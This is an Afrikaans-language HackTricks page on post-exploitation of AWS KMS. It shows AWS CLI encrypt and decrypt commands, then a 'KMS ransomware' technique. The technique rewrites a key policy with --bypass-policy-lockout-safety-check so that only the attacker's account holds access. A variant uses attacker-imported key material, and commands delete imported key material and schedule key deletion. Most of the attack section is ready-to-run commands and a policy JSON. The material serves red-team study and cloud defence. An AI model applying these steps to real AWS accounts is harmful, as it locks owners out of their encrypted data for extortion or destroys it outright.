AWS - KMS Post Exploitation

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

KMS

Vir meer inligting, kyk:

AWS - KMS Enum

Versleutel/Ontcijfer inligting

  • Deur 'n simmetriese sleutel

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Gebruik 'n asimmetriese sleutel:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

'n Aanvaller met bevoorregte toegang oor KMS kan die KMS-beleid van sleutels wysig en sy rekening toegang daartoe verleen, deur die toegang wat aan die regmatige rekening verleen is, te verwyder.

Dan sal die regmatige rekeninggebruikers nie enige inligting van enige diens wat met daardie sleutels versleutel is, kan bereik nie, wat 'n maklike maar doeltreffende afpersingsware oor die rekening skep.

Let daarop dat AWS-bestuurde sleutels nie geraak word deur hierdie aanval nie, slegs Klantbestuurde sleutels.

Let ook op die noodsaaklikheid om die param --bypass-policy-lockout-safety-check te gebruik (die afwesigheid van hierdie opsie in die webkonsol maak hierdie aanval slegs moontlik vanaf die CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Let wel dat as jy daardie beleid verander en slegs toegang gee aan 'n eksterne rekening, en dan vanaf hierdie eksterne rekening probeer om 'n nuwe beleid in te stel om die toegang terug te gee aan die oorspronklike rekening, sal jy nie in staat wees om dit te doen nie.

Generiese KMS Ransomware

Globale KMS Ransomware

Daar is 'n ander manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe sou behels:

  • Skep 'n nuwe sleutel met sleutelmateriaal wat deur die aanvaller ingevoer is

  • Her-enkripteer oudere data wat met die vorige weergawe versleutel is met die nuwe een.

  • Verwyder die KMS-sleutel

  • Nou kan slegs die aanvaller, wat die oorspronklike sleutelmateriaal het, die versleutelde data ontsluit

Vernietig sleutels

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Let wel dat AWS nou voorkom dat die vorige aksies uitgevoer word vanaf 'n kruisrekening:

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated